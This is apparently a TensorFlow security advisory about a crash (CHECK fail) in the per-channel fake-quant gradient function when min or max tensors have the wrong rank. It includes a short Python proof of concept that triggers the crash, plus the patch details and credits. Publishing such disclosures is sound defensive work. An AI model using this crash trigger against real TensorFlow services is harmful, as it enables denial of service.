TensorFlow vulnerable to `CHECK` fail in `FakeQuantWithMinMaxVarsPerChannelGradient`

Impact

When tf.quantization.fake_quant_with_min_max_vars_per_channel_gradient receives input min or max of rank other than 1, it gives a CHECK fail that can trigger a denial of service attack.

import tensorflow as tf
arg_0=tf.random.uniform(shape=(1,1), dtype=tf.float32, maxval=None)
arg_1=tf.random.uniform(shape=(1,1), dtype=tf.float32, maxval=None)
arg_2=tf.random.uniform(shape=(1,1), dtype=tf.float32, maxval=None)
arg_3=tf.random.uniform(shape=(1,1), dtype=tf.float32, maxval=None)
arg_4=8
arg_5=False
arg_6=None
tf.quantization.fake_quant_with_min_max_vars_per_channel_gradient(gradients=arg_0, 
            inputs=arg_1, min=arg_2,  max=arg_3, num_bits=arg_4, 
            narrow_range=arg_5, name=arg_6)

Patches

We have patched the issue in GitHub commit f3cf67ac5705f4f04721d15e485e192bb319feed.

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by
- 刘力源, Information System & Security and Countermeasures Experiments Center, Beijing Institute of Technology
- Neophytos Christou, Secure Systems Labs, Brown University